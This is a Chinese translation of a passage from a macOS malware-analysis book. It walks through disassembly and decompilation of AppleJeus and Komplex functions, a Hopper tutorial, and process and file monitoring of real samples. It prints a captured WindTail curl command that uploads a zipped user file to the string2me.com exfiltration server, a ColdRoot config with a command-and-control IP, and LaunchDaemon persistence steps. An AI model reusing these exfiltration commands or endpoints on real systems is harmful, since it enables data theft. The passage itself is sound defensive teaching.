0x0000000100004575 call IOServiceGetMatchingService 4
0x000000010000457e mov r15d, eax
0x0000000100004581 mov rax, qword [_kCFAllocatorDefault]
0x0000000100004588 mov rdx, qword [rax]
0x000000010000458b lea rsi, qword [IOPlatformSerialNumber]
0x0000000100004592 xor ecx, ecx
0x0000000100004594 mov edi, r15d
0x0000000100004597 call IORegistryEntryCreateCFProperty 5
0x000000010000459c mov edx, 0x20
0x00000001000045a1 mov ecx, 0x8000100
0x00000001000045a6 mov rdi, rax
0x00000001000045a9 mov rsi, r14
0x00000001000045ac call CFStringGetCString 6
return
列表 6-12:getDeviceSerial函数的反汇编(AppleJeus)
首先,函数将其存储在 RDI 中的单一参数,即输出缓冲区,移动到 R14 寄存器,实质上将其保存到本地 1。这样做是因为如果 getDeviceSerial 函数进行其他需要参数的调用(它确实会这么做),RDI 寄存器将会为这些调用重新初始化。如你所见,在 getDeviceSerial 函数的结尾,输出缓冲区会被填充上设备的序列号。因此,函数必须将该参数保存到一个未使用的寄存器中。使用这种“临时”寄存器来保存值是非常常见的,而它们的注释通常有助于逆向工程复杂的函数。
该函数将指向 kIOMasterPortDefault 的指针移动到 RAX 中,并将其解引用到 R15 寄存器 2。
根据 Apple 开发者文档,kIOMasterPortDefault 是用于与 IOKit 服务进行通信的默认 mach 端口。^(6)(mach 端口是一个促进进程间通信的机制。)从这个观察来看,恶意软件很可能会利用 IOKit 来提取感染设备的序列号。
接下来,我们看到 getDeviceSerial 函数首次调用了 Apple 的一个 API:IOServiceMatching 函数 3。Apple 指出 该函数接收一个参数,将创建并返回一个字典,用于搜索和匹配目标 IOKit 服务。^(7) 我们知道 RDI 寄存器存储着函数或方法调用的第一个参数。在调用之前,我们看到汇编代码将这个寄存器初始化为 "IOPlatformExpertDevice" 的值。换句话说,它是以字符串 "IOPlatformExpertDevice" 调用 IOServiceMatching 函数的。
一旦匹配字典创建完成,代码调用了另一个 IOKit API,即IOServiceGetMatchingService函数 4。苹果文档中提到,这个函数会找到与指定搜索条件匹配的 IOService。^(8) 对于参数,它期望一个主端口和一个匹配字典。反汇编后的代码将R15寄存器中的值移入EDI寄存器(即RDI寄存器的 32 位部分)。在几行之前,代码将kIOMasterPortDefault移入R15寄存器。因此,代码只是将kIOMasterPortDefault移入EDI寄存器,将其作为调用IOServiceGetMatchingService时的第一个参数。同样,在调用之前,注意到RAX被移入RSI寄存器,因为RSI寄存器作为函数调用的第二个参数使用。由于RAX寄存器保存调用结果,因此RSI寄存器将包含从IOServiceMatching调用返回的匹配字典。在调用IOServiceGetMatchingService之后,RAX寄存器中将返回一个io_service_t服务。由于匹配字典初始化为"IOPlatformExpertDevice",因此将找到并返回指向IOPlatformExpertDevice IOKit 对象的引用。如你所见,这个对象可以用来查询系统(平台)信息,包括其序列号。
接下来,代码设置了调用系统函数的参数,该函数提取IOKit注册表属性的值:IORegistryEntryCreateCFProperty 5。此参数设置首先将kCFAllocatorDefault加载到RDX寄存器中,该寄存器用于第三个参数。苹果对该函数的文档说明了这是要使用的内存分配器。^(9) 随后,字符串"IOPlatformSerialNumber"的地址被加载到RSI寄存器中。该寄存器用于第二个参数,是所关注的属性名称。接下来,RCX寄存器(即ECX部分)的 32 位组件被初始化为零,因为通过将一个寄存器与自身进行异或操作可以将其设置为零。最后,在调用之前,将R15D(D表示R15寄存器的 32 位部分)中的值移入EDI寄存器,EDI是RDI寄存器的 32 位部分。这样做的效果是初始化RDI参数,其值为先前存储在R15D中的kIOMasterPortDefault。在调用IORegistryEntryCreateCFProperty之后,RAX寄存器将保存所需属性的值:IOPlatformSerialNumber。
最后,函数调用了CFStringGetCString函数,将提取的属性(一个CFString对象)转换为普通的、以空字符结尾的 C 字符串 6。当然,在此调用之前,必须初始化参数。EDX寄存器(RDX的 32 位部分)被设置为0x20,表示输出缓冲区的大小。ECX寄存器(RCX的 32 位部分)被设置为kCFStringEncodingUTF8(0x8000100)。RDI寄存器被设置为RAX的值,RAX包含提取的IOPlatformSerialNumber属性值。最后,第二个参数RSI被设置为R14。记住,R14寄存器包含传递给getDeviceSerial的RDI值。由于苹果的CFStringGetCString文档中说明第二个参数是用来复制字符串的缓冲区,我们现在知道传递给getDeviceSerial函数的参数确实是用于存储序列号的输出缓冲区。^(10)
值得注意的是,虽然像 C++这样的高级语言需要按照指定顺序传递参数,但在汇编层面,唯一的要求是参数在调用之前必须存储在适当的寄存器或栈位置。因此,你可能会看到一些指令“无序地”初始化参数。例如,在这里,你可以看到第二个参数最后被设置。
通过聚焦于getDeviceSerial函数所调用的 API,我们能够确认其功能:通过IOKit获取受感染系统的序列号(IOPlatformSerialNumber)。此外,通过参数分析,我们还能够确定getDeviceSerial函数会使用一个缓冲区来存储序列号。谁还需要源代码呢,对吧?
控制流反汇编
到目前为止,我们的分析仅集中在函数内部的逻辑,而没有涉及函数之间以及调用它们的代码之间的交互。理解这些交互对于分析恶意软件非常重要,因为恶意代码往往会根据单个函数的返回值做出决定性的行动。Komplex 的载荷提供了一个生动的例子。
Komplex 的持续载荷包含一个名为__Z19connectedToInternetv(解码后为connectedToInternet)的函数。这个恰如其名的函数用于检查受感染主机是否连接到互联网。如果主机处于离线状态,恶意软件将等到网络连接恢复后,再尝试连接到其指挥控制服务器以执行任务。(这个检查也充当了一个基本的反分析机制,假设大多数分析系统是未连接到互联网的。)
让我们来检查一下恶意软件代码的反汇编,这段代码调用了connectedToInternet函数,并根据其响应采取行动(Listing 6-13)。
0x0000000100005b15:
0x0000000100005b15 call connectedToInternet()
0x0000000100005b1a and al, 0x1
0x0000000100005b1c mov byte [rbp+var_19], al
0x0000000100005b1f test byte [rbp+var_19], 0x1
1 0x0000000100005b23 jz loc_100005b2e
2 0x0000000100005b29 jmp loc_100005b40
3 0x0000000100005b2e:
0x0000000100005b2e mov edi, 0x3c
0x0000000100005b33 call sleep
0x0000000100005b38 mov [rbp+var_3C], eax
4 0x0000000100005b3b jmp 0x0000000100005b15
loc_100005b40:
...
列表 6-13:网络连接检查与控制流(Komplex)
首先,恶意软件调用了 connectedToInternet 函数。由于该函数不需要参数,因此不需要设置寄存器。调用后,恶意软件通过 test 和 jz(跳转零)指令检查返回值。test 指令对两个操作数进行按位与(丢弃结果),并根据结果设置零标志。因此,如果 connectedToInternet 函数返回零,jz 指令将跳转 1,跳转到 0x0000000100005b2e 的指令 3。这里,代码调用系统的 sleep 函数,然后再次跳转回 0x0000000100005b15 的指令,重新检查连接情况 4。一旦 connectedToInternet 函数返回非零值,将进行无条件跳转 2,退出循环。换句话说,恶意软件会等待直到系统连接到互联网后才继续执行。
现在我们已经了解了恶意软件的功能,我们可以使用以下的 Objective-C 代码来重构其逻辑(列表 6-14)。
while(0x0 == connectedToInternet()) {
sleep(0x3c);
}
列表 6-14:网络连接检查与控制流,重构版(Komplex)
在浏览了这些反汇编的各个部分之后,我们大概都能同意,阅读汇编代码相当乏味。幸运的是,随着反编译技术的进步,现在有了希望!
反编译
你已经看到反汇编器如何解析文件,并将二进制代码转换回人类可读的汇编代码。反编译器则通过重新创建提取的二进制代码的源代码级表示,将这一翻译进一步推进。与汇编代码相比,这种源代码表示通常更加简洁且易读,使得分析未知的二进制文件变得更加简单。先进的逆向工程工具通常同时具有反汇编和反编译功能。此类工具的示例包括 Hopper(将在下一节讨论)、IDA Pro 和 Ghidra。
还记得 Lazarus Group 第一阶段植入加载器中的 getDeviceSerial 函数吗?虽然该函数的完整反汇编大约有 50 行,但反编译后的代码要简洁得多,大约 15 行(列表 6-15)。
int getDeviceSerial(int * arg0) {
r14 = arg0;
...
r15 = kIOMasterPortDefault;
rax = IOServiceMatching("IOPlatformExpertDevice");
rax = IOServiceGetMatchingService(r15, rax);
if (rax != 0x0) {
rbx = CFStringGetCString(IORegistryEntryCreateCFProperty(rax,
@"IOPlatformSerialNumber", kCFAllocatorDefault, 0x0), r14, 0x20,
kCFStringEncodingUTF8) != 0x0 ? 0x1 : 0x0;
IOObjectRelease(rax);
}
rax = rbx;
return rax;
}
列表 6-15:getDeviceSerial 函数的反编译(AppleJeus)
反编译后的代码非常易读,使得理解该函数的逻辑相对容易。例如,我们可以看到恶意软件获取了 IOPlatformExpertDevice 服务的引用,然后利用它查找系统的序列号。
同样,章节前面讨论的 connectedToInternet 函数反编译效果不错(见示例 6-16)。不过需要注意的是,反编译器似乎对 Objective-C 语法有些困惑,@class 和 @selector 等关键字仍然出现在输出中。背后原因是编译器优化调用了一个优化版本的 objc_msgSend 函数,名为 objc_msgSend_fixup。不过,可以明显看出,恶意软件通过向 www.google.com 发起请求来判断主机的网络连接状态。
int connectedToInternet()
{
if( (@class(NSData), &@selector(dataWithContentsOfURL:), (@class(NSURL),
&@selector(URLWithString:), @"http://www.google.com")) != 0x0)
{
var_1 = 0x1;
}
else {
var_1 = 0x0;
}
rax = var_1 & 0x1 & 0xff;
return rax;
}
示例 6-16:反编译 connectedToInternet 函数(Komplex)
考虑到反编译相较于反汇编的诸多优势,你可能会想知道我们为什么还要讨论反汇编。事实上,反汇编仍然有一些用途。首先,即使是最好的反编译器,偶尔也会在分析复杂的二进制代码时遇到困难,比如带有反分析逻辑的恶意软件(在第九章中讨论)。反汇编器只需将二进制代码转换,错误的可能性远低于反编译器。因此,降到反汇编器提供的汇编级代码,有时可能是你唯一的选择。其次,正如我们在反编译getDeviceSerial和connectedToInternet函数时所见,汇编代码中的一些概念,比如寄存器,依然出现在代码中,因此对你的分析是有帮助的。虽然反编译可以大大简化二进制代码的分析,但理解汇编代码的能力(仍然)是任何恶意软件分析师的基础技能。
使用 Hopper 进行逆向工程
到目前为止,我们讨论了反汇编和反编译的概念,但并未提及提供这些服务的具体工具。这些工具可能有些复杂,对于初学者的恶意软件分析师来说也有些令人生畏。因此,我们将简要介绍一种这样的工具——Hopper,用于二进制分析。Hopper 价格合理,原生支持 macOS,拥有强大的反汇编和反编译功能,擅长分析 Mach-O 格式的二进制文件。^(11)
如果你更喜欢使用其他反汇编器或反编译器,如 IDA Pro 或 Ghidra,本节的具体内容可能不适用。然而,我们将讨论的概念在大多数逆向工程工具中是广泛适用的。
创建一个可分析的二进制文件
在本简要介绍 Hopper 的部分中,我们将反汇编和反编译 Apple 的标准“Hello, World!” Objective-C 代码,见示例 6-17。
#import <Foundation/Foundation.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Hello, World!");
}
return 0;
}
示例 6-17:Apple 的“Hello, World!”
尽管是微不足道的示例,但它提供了一个足够用于展示 Hopper 许多功能和能力的二进制文件。使用 clang 或 Xcode 编译代码,生成 64 位 Mach-O 二进制文件(见示例 6-18):
% **clang main.m -fmodules -o helloWorld**
% **file helloWorld**
helloWorld: Mach-O 64-bit executable x86_64
示例 6-18:编译“Hello, World!”
加载二进制文件
打开 Hopper 应用后,通过选择文件▶打开开始分析。选择要分析的 Mach-O 二进制文件。在出现的加载器窗口中,保持默认设置不变并点击确定(图 6-1)。

图 6-1:Hopper 中的加载器窗口
Hopper 会通过解析 Mach-O 头部、反汇编二进制代码并提取嵌入的字符串、函数和方法名等内容,自动开始分析二进制文件。一旦分析完成,Hopper 会自动在二进制文件的入口点显示反汇编代码,该入口点来自 Mach-O 头部的LC_MAIN加载命令。
探索界面
Hopper 的界面提供了多种方式来探索它生成的数据。最右边是检查器视图。在这里,Hopper 显示有关正在分析的二进制文件的一般信息,包括二进制类型、架构和 CPU 以及调用约定(图 6-2)。

图 6-2:Hopper 中的基本文件信息
最左边是一个段选择器,可以在与二进制文件中符号和字符串相关的各种视图之间切换。例如,Proc 视图显示 Hopper 在分析过程中识别的过程(函数和方法)(图 6-3)。这包括来自原始源代码的函数和方法,以及代码调用的 API。例如,在我们的“Hello, World!”二进制文件中,Hopper 识别了主函数和对苹果 NSLog API 的调用。

图 6-3:Hopper 中的过程视图
Str 视图显示 Hopper 从二进制文件中提取的嵌入字符串(图 6-4)。在我们的简单二进制文件中,唯一的嵌入字符串是“Hello, World!”

图 6-4:Hopper 中的嵌入字符串视图
在深入分析反汇编之前,最好先浏览提取出的过程名称和嵌入的字符串,因为它们通常是了解恶意软件可能能力的重要信息来源。此外,它们还可以指导你的分析工作。如果某个过程名称或嵌入字符串看起来很有趣,点击它,Hopper 会显示它在二进制文件中被引用的具体位置。
查看反汇编
默认情况下,Hopper 会自动显示二进制文件入口点的反汇编代码(通常是主函数)。列表 6-19 显示了主函数的完整反汇编代码。请注意,编译方法和编译器版本都会影响反汇编。最常见的是,地址(函数或指令的地址)可能会发生变化,尽管指令的顺序也可能会有所不同。
main:
0x0000000100003f20 push rbp
0x0000000100003f21 mov rbp, rsp
0x0000000100003f24 sub rsp, 0x20
0x0000000100003f28 mov dword [rbp+var_4], 0x0
0x0000000100003f2f mov dword [rbp+var_8], edi
0x0000000100003f32 mov qword [rbp+var_10], rsi
0x0000000100003f36 call objc_autoreleasePoolPush
0x0000000100003f3b lea rcx, qword [cfstring_Hello__World] ; @"Hello, World!"
0x0000000100003f42 mov rdi, rcx ; argument "format" for method NSLog 1
0x0000000100003f45 mov qword [rbp+var_18], rax
0x0000000100003f49 mov al, 0x0
0x0000000100003f4b call NSLog
0x0000000100003f50 mov rdi, qword [rbp+var_18] ; argument "pool" for method objc_
autoreleasePoolPop
0x0000000100003f54 call objc_autoreleasePoolPop
0x0000000100003f59 xor eax, eax
0x0000000100003f5b add rsp, 0x20
0x0000000100003f5f pop rbp
0x0000000100003f60 ret
列表 6-19:“Hello, World!” 通过 Hopper 反汇编
Hopper 提供了有用的注释,能够识别嵌入的字符串以及函数和方法的参数。例如,考虑地址0x0000000100000f42处的汇编代码,它将指向“Hello, World!”字符串的RCX寄存器移动到RDI 1。Hopper 已经识别出这段代码是为几行之后的NSLog调用初始化参数。
你会经常注意到,反汇编的各个组件实际上是指向二进制文件中其他地方数据的指针。例如,0x0000000100000f3b处的汇编代码将“Hello, World!”字符串的地址加载到RCX寄存器中。Hopper 足够聪明,能够识别cfstring_Hello__World_变量是一个指针。此外,如果你双击任何指针,Hopper 会跳转到该指针的地址。例如,在反汇编中双击cfstring_Hello__World_变量会带你到地址0x0000000100001008的字符串对象。这个CFConstantString类型的字符串对象也包含指针,双击这些指针会带你到指定的地址。
请注意,Hopper 还会跟踪反向交叉引用。例如,它已识别出地址0x0000000100000fa2处的字符串字节被cfstring_Hello__World_变量引用。也就是说,cfstring_Hello__World_变量包含对0x0000000100000fa2地址的引用。像这样的交叉引用大大方便了对二进制代码的静态分析;如果你注意到一个有趣的字符串,你可以简单地询问 Hopper 这个字符串在代码中哪里被引用。要查看这些交叉引用,CTRL-点击地址或项目并选择引用到。或者,选择地址或项目并按X键。例如,假设我们想查看“Hello, World!”字符串对象在反汇编中被引用的地方。我们首先选择地址0x0000000100001008处的字符串对象,CTRL-点击以弹出上下文菜单,然后点击引用到 cfstring_Hello__World(图 6-5)。

图 6-5:选择查看“Hello, World!”字符串的交叉引用选项。
这应该会弹出该项的交叉引用窗口(图 6-6)。
![“引用至 0x1000001008”的交叉引用窗口显示两列,地址(“0x100000f3b (_main + 0x1b)”)和值(“lea rcx, qword [cfstring_Hello_World_]”)。](image_fi/501942c06/f06006.png)
图 6-6:“Hello, World!”字符串的交叉引用
现在你可以看到,这个字符串只有一个交叉引用:位于地址0x0000000100000f3b的代码,它位于主函数内。双击它可以跳转到代码中的这个位置。
Hopper 还会为函数、方法和 API 调用创建交叉引用,帮助你轻松确定它们在代码中被调用的位置。例如,图 6-7 中的交叉引用窗口告诉我们,NSLog API 在0x0000000100000f4b的主函数中被调用。

图 6-7:NSLog函数的交叉引用
交叉引用大大方便了分析,可以有效帮助理解二进制文件的功能或能力。例如,假设你正在分析一个可疑的恶意软件样本,并想要查找其命令与控制服务器的地址。在 Hopper 的 Proc 视图中,你可以定位到一些 API,如 Apple 网络方法,这些方法通常被恶意软件用来连接服务器。从 Proc 视图中,通过交叉引用,你可以理解这些 API 是如何被调用的(例如,通过命令与控制服务器的 URL 或 IP 地址)。
在 Hopper 中跳转时,你常常需要快速返回到之前分析的位置。幸运的是,按下逃逸键可以让你回到你刚才的位置。
更改显示模式
到目前为止,我们一直在 Hopper 的默认显示模式——汇编模式下。如其名所示,这个模式显示的是二进制代码的反汇编。你可以使用 Hopper 主工具栏中的切换控件来切换显示模式(图 6-8)。

图 6-8:Hopper 中的显示模式
Hopper 支持的显示模式包括以下几种:
-
汇编(ASM)模式: 标准的反汇编模式,其中 Hopper 显示二进制文件的汇编指令。
-
控制流图(CFG)模式: 一种将过程(函数)拆分为代码块,并展示它们之间控制流的模式。
-
伪代码模式: Hopper 的反编译模式,其中生成类似源代码或伪代码的表示。
-
十六进制模式: 二进制文件的原始十六进制字节。
在四种显示模式中,伪代码模式无疑是最强大的。要进入此模式,首先选择一个过程,然后点击显示模式部分控制条中的第三个按钮。这将指示 Hopper 对过程中的代码进行反编译,以生成该代码的伪代码表示。对于我们简单的“Hello, World!”程序,它做得相当不错(清单 6-20):
int _main(int arg0, int arg1) {
var_18 = objc_autoreleasePoolPush();
NSLog(@"Hello, World!");
objc_autoreleasePoolPop(var_18);
return 0x0;
}
清单 6-20:反编译后的“Hello, World!”
考虑到 @autoreleasepool 块被编译成配对的 objc_autoreleasePoolPush 和 objc_autoreleasePoolPop 调用后,反编译结果与原始源代码非常相似(清单 6-21)。
#import <Foundation/Foundation.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Hello, World!");
}
return 0;
}
清单 6-21:原始的“Hello, World!”源代码(用于比较)
若想获得更全面的 Hopper 使用和理解指南,请参考该应用的官方教程。^(12)
接下来
在掌握了从基础的文件类型识别到高级的反编译等静态分析技术后,我们现在可以将注意力转向动态分析方法。正如你将看到的,动态分析通常提供了更高效的理解恶意软件的方式。不过,静态分析和动态分析是互为补充的,你可能会发现自己会将二者结合起来使用。
参考文献
第七章:动态分析工具

在前几章中,我们讨论了静态分析方法,这些方法用于检查文件而不需要实际运行它们。然而,通常情况下,直接执行恶意文件以被动观察其行为和操作可能更为高效。特别是当恶意软件作者实施了旨在复杂化或甚至阻止静态分析的机制时,这一点尤为重要,例如加密嵌入的字符串和配置信息,或者在运行时动态加载更多代码。
WindTail 提供了一个说明性的例子。它的指挥与控制服务器的地址(通常是恶意软件分析师试图发现的内容)直接嵌入到恶意软件中,但经过加密。虽然可以手动解码这些加密的地址,因为加密密钥是硬编码在恶意软件中的,但更简单的方法是直接执行恶意软件。然后,使用如网络监控器之类的动态分析工具,我们可以在恶意软件尝试建立连接时被动地发现这些服务器的地址。
本章我们将深入探讨几种动态分析方法,这些方法对于被动观察 Mac 恶意软件样本非常有用,包括进程、文件和网络监控。我们还将讨论你可以使用的工具来执行这些监控。恶意软件分析师通常使用这些工具快速获得恶意样本的能力信息。稍后,这些信息可以成为检测签名的一部分,用于识别其他感染。在第八章中,我们将探索调试的高级动态分析技术。
进程监控
恶意软件通常会执行额外的进程来代其完成任务,通过进程监控器观察这些进程的执行,可以为恶意软件的行为和能力提供有价值的见解。这些进程通常只是一些命令行工具,是 macOS 内建的,恶意软件执行这些工具以懒惰地委派所需的操作。例如,一个恶意安装程序可能会调用 macOS 的移动(/bin/mv)或复制(/bin/cp)工具来持久安装恶意软件。为了调查系统,恶意软件可能会调用进程状态(/bin/ps)工具来获取正在运行的进程列表,或调用 whoami(/usr/bin/whoami)工具来确定当前用户的权限。然后,它可能会通过 /usr/bin/curl 将此调查结果导出到远程的指挥与控制服务器。通过被动地观察这些命令的执行,我们可以高效地了解恶意软件与系统的互动。
恶意软件还可能生成与原始恶意软件样本一起打包的二进制文件,或者它从远程命令与控制服务器动态下载。例如,一个名为 Eleanor 的恶意软件部署时包含了几个工具来扩展其功能。它预先打包了 Netcat,一个著名的网络工具;Wacaw,一个简单的开源命令行工具,能够从内置的摄像头捕捉图片和视频;以及一个 Tor 工具,用于促进匿名网络通信。我们可以使用进程监视器来观察恶意软件执行这些打包的工具,从而揭示其最终目的,在这种情况下就是设置一个基于 Tor 的后门,能够完全与被感染系统交互并远程监视用户。
需要注意的是,Eleanor 中打包的二进制文件本身并不具备恶意性质。相反,这些工具提供了恶意软件作者希望集成到恶意软件中的功能(例如摄像头录制),但由于时间紧张或技术水平不足,他们可能无法自己编写,或者只是看作一种实现所需功能的高效方法。
另一个嵌入二进制文件打包的恶意软件示例是 FruitFly。由于 FruitFly 是用 Perl 编写的,它在执行低级操作(例如生成合成鼠标和键盘事件,以试图关闭安全提示)方面的能力有限。为了解决这个问题,作者将其与一个嵌入式 Mach-O 二进制文件一起打包,该文件能够执行这些操作。在这种情况下,使用进程监视器可以让我们观察到恶意软件在启动之前将这个嵌入的二进制文件写入磁盘。然后我们可以在任务完成且恶意软件删除文件之前,捕获该二进制文件的副本进行分析。
进程监视器工具
除了显示生成的进程的进程标识符和路径外,更全面的进程监视器还可以提供诸如进程层级、命令行参数和代码签名信息等信息。在这些附加信息中,进程参数对于恶意软件分析特别有价值,因为它们往往能揭示恶意软件正在委托执行的具体操作。
不幸的是,macOS 并没有提供一个内建的进程监控工具,包含这些功能。不过不用担心,我已经创建了一个开源工具(取名不太有创意,叫做ProcessMonitor),它利用了 Apple 强大的 Endpoint Security 框架,便于动态分析 Mac 恶意软件。ProcessMonitor 将显示进程事件,如exec、fork和exit,以及进程的 ID(pid)、完整路径和任何命令行参数。该工具还会报告任何代码签名信息和完整的进程层级结构。为了捕获进程事件,ProcessMonitor 必须以 root 权限在 macOS 的终端中运行。此外,终端必须通过“系统偏好设置”中的“安全性与隐私”面板授予完全磁盘访问权限。有关该工具及其先决条件的更多信息,请参见 ProcessMonitor 的文档。^(2)
让我们简要查看一些 ProcessMonitor 的简化输出,观察它如何监控 Lazarus Group 的 AppleJeus 恶意软件变种的安装程序启动的进程。为了指示 ProcessMonitor 输出格式化的 JSON,我们使用-pretty标志执行它(清单 7-1):
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC", 1
"process" : {
"arguments" : [
"mv",
"/Applications/UnionCryptoTrader.app/Contents/
Resources/.vip.unioncrypto.plist",
"/Library/LaunchDaemons/vip.unioncrypto.plist"
],
"path" : "/bin/mv",
"pid" : 3458,
"ppid" : 3457
}
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC", 2
"process" : {
"arguments" : [
"mv",
"/Applications/UnionCryptoTrader.app/Contents/Resources/.unioncryptoupdater",
"/Library/UnionCrypto/unioncryptoupdater"
],
"path" : "/bin/mv",
"pid" : 3461,
"ppid" : 3457
}
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC", 3
"process" : {
"arguments" : [
"/Library/UnionCrypto/unioncryptoupdater"
],
"path" : "/Library/UnionCrypto/unioncryptoupdater",
"pid" : 3463,
"ppid" : 3457
}
}
清单 7-1:使用 ProcessMonitor 观察安装程序命令(AppleJeus 变种)
从这些进程及其参数中,我们观察到恶意安装程序执行了以下操作:使用内置的/bin/mv工具将一个隐藏的属性列表从安装程序的Resources/目录移动到/Library/LaunchDaemons 1,使用/bin/mv将一个隐藏的二进制文件从安装程序的Resources/目录移动到/Library/UnionCrypto/ 2,然后启动这个二进制文件unioncryptoupdater 3。仅通过进程监视器,我们现在知道恶意软件作为一个启动守护进程持续存在,vip.unioncrypto.plist,并且我们识别出了作为恶意软件持久化后门组件的二进制文件unioncryptoupdater。
进程监控也可以揭示恶意样本的核心功能。例如,WindTail 的主要目的是从感染的系统中收集并窃取文件。虽然我们可以通过静态分析方法(如反汇编恶意软件的二进制文件)来发现这一点,但利用进程监视器要简单得多。清单 7-2 包含了 ProcessMonitor 的简化输出。
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC", 1
"process" : {
"pid" : 1202,
"path" : "/usr/bin/zip",
"arguments" : [
"/usr/bin/zip",
"/tmp/secrets.txt.zip",
"/Users/user/Desktop/secrets.txt"
],
"ppid" : 1173 2
}
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC", 3
"process" : {
"pid" : 1258,
"path" : "/usr/bin/curl",
"arguments" : [
"/usr/bin/curl",
"-F",
"vast=@/tmp/secrets.txt.zip",
"-F",
"od=1601201920543863",
"-F",
"kl=users-mac.lan-user",
"string2me.com/.../kESklNvxsNZQcPl.php" 4
],
"ppid" : 1173
}
}
% ps -p 1173
PID TTY TIME CMD
1173 ?? 0:00.38 ~/Library/Final_Presentation.app/Contents/MacOS/usrnode 5
清单 7-2:使用 ProcessMonitor 揭示文件外泄功能(WindTail)
在 ProcessMonitor 的输出中,我们看到恶意软件首先创建了一个文件的 ZIP 档案以进行收集 1,然后使用curl命令 3 将该档案外泄。作为附加奖励,传递给curl的命令行选项揭示了恶意软件的外泄服务器 string2me.com 4。报告的父进程标识符(ppid)提供了一种将子进程与父进程关联的方法。例如,我们利用ps工具将报告的ppid(1173)2 映射到 WindTail 的持久化组件Final_Presentation.app/Contents/MacOS/usrnode 5。
虽然进程监控可以被动而高效地为我们提供宝贵的信息,但它只是全面动态分析方法中的一个组成部分。在下一节中,我们将讨论文件监控,它可以为恶意软件的行为提供互补的洞察。
文件监控
文件监控是被动地观察主机文件系统中的感兴趣事件。在感染过程以及有效载荷执行过程中,恶意软件可能会访问文件系统并以各种方式进行操作,例如将脚本或 Mach-O 二进制文件保存到磁盘、创建启动项等机制以保持持久性,访问用户文档,可能是为了向远程服务器进行数据外泄。
尽管我们有时可以通过进程监控间接观察到当恶意软件将操作委托给系统实用程序时的文件访问,更多复杂的恶意软件可能完全自包含,不会产生任何额外的进程。在这种情况下,进程监控可能帮助不大。无论恶意软件的复杂性如何,我们通常可以通过文件监控来观察恶意软件的行为。
fs_usage 工具
我们可以使用 macOS 内置的文件监控工具fs_usage来监控文件系统。为了以提升的权限捕获文件系统事件,可以使用-f filesystem标志执行fs_usage。指定-w命令行选项,可以指示fs_usage提供更详细的输出。此外,fs_usage的输出应该进行过滤;否则,系统文件活动的数量可能会让人不知所措。为此,可以指定目标进程(fs_usage -w -f filesystem malware.sample)或将输出通过管道传递给grep。
例如,如果我们在运行fs_usage的同时执行名为 ColdRoot 的 Mac 恶意软件,我们将观察到它访问名为conx.wol的文件,该文件位于它的应用程序包中(列出 7-3):
# **fs_usage -w -f filesystem**
access (___F) com.apple.audio.driver.app/Contents/MacOS/conx.wol
open F=3 (R_____) com.apple.audio.driver.app/Contents/MacOS/conx.wol
flock F=3
read F=3 B=0x92
close F=3
列出 7-3:使用fs_usage观察文件访问(ColdRoot)
正如你所看到的,名为com.apple.audio.driver.app的恶意软件打开并读取该文件的内容。让我们来看看这个文件,看看它是否能提供关于恶意软件功能的详细信息(列出 7-4):
% **cat com.apple.audio.driver.app/Contents/MacOS/conx.wol**
{
"PO": 80,
"HO": "45.77.49.118",
"MU": "CRHHrHQuw JOlybkgerD",
"VN": "Mac_Vic",
"LN": "adobe_logs.log",
"KL": true,
"RN": true,
"PN": "com.apple.audio.driver"
}
列出 7-4:配置文件(ColdRoot)
该文件的内容表明conx.wol是恶意软件的配置文件。在其他值之外,它包含了攻击者的命令与控制服务器的端口和 IP 地址。为了弄清楚其他键/值对的含义,我们可以使用反汇编工具查找与字符串"conx.wol"的交叉引用。(另外,我们也可以在调试器中执行此操作,我们将在第八章讨论这部分内容。)这样做会让我们找到恶意软件代码中的逻辑,解析并处理该文件中的键/值对。我将把这个作为一个练习留给有兴趣的读者。
fs_usage 工具非常方便,因为它是 macOS 内置的。然而,作为一个基本的文件监控工具,它还有许多不足之处。最显著的是,它没有提供关于引发文件事件的进程的详细信息,例如参数或代码签名信息。
文件监视器工具
为了解决这些不足,我创建了开源的文件监视器工具。^(3) 与前述的 ProcessMonitor 工具类似,它利用了苹果的 Endpoint Security 框架,并且是为了恶意软件分析而设计的。通过文件监视器,我们可以获得有关实时文件事件的宝贵细节。请注意,像 ProcessMonitor 一样,文件监视器必须以 root 身份在已获得完全磁盘访问权限的终端中运行。
作为示例,我们来看看文件监视器如何轻松揭示 BirdMiner 恶意软件的持久性细节(列表 7-5)。BirdMiner 提供了一个基于 Linux 的加密矿工,由于恶意软件磁盘镜像中包含了 QEMU 模拟器,它能够在 macOS 上运行。当感染的磁盘镜像被挂载并执行应用程序安装程序时,首先会请求用户的凭据。一旦获得 root 权限,它将持久性地安装自己。要了解详情,请查看文件监视器的输出。请注意,这个输出已被简化以提高可读性。例如,它不包含进程的代码签名信息。
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty
{
1 "event": "ES_EVENT_TYPE_NOTIFY_CREATE",
"file": {
"destination": "/Library/LaunchDaemons/com.decker.plist",
"process": {
"pid": 1073,
"path": "/bin/cp",
"ppid": 1000
}
}
}
{
2 "event": "ES_EVENT_TYPE_NOTIFY_CREATE",
"file": {
"destination": "/Library/LaunchDaemons/com.tractableness.plist",
"process": {
"pid": 1077,
"path": "/bin/cp",
"ppid": 1000,
}
}
}
列表 7-5:使用文件监视器揭示持久性(BirdMiner)
从文件监视器的输出中,我们可以看到恶意软件(pid 1000)生成了 /bin/cp 工具,用来创建两个文件,这两个文件实际上是 BirdMiner 的两个持久性启动守护进程:com.decker.plist 1 和 com.tractableness.plist 2。
文件监视器对于揭示不生成额外进程的恶意软件功能特别有用。例如,Yort 恶意软件的安装程序直接放置一个持久性的后门(列表 7-6)。由于它不会执行任何其他外部进程来协助实现持久性,因此进程监视器无法观察到这一事件。另一方面,文件监视器的输出显示了该后门 .FlashUpdateCheck 的创建,以及负责创建这个恶意后门的进程。(Yort 的安装程序伪装成 Adobe Flash Player 应用程序,我们通过 -filter 命令行标志对此进行关注。)由于文件监视器还包括进程的代码签名信息(或缺少该信息),我们还可以看到该恶意安装程序没有签名。
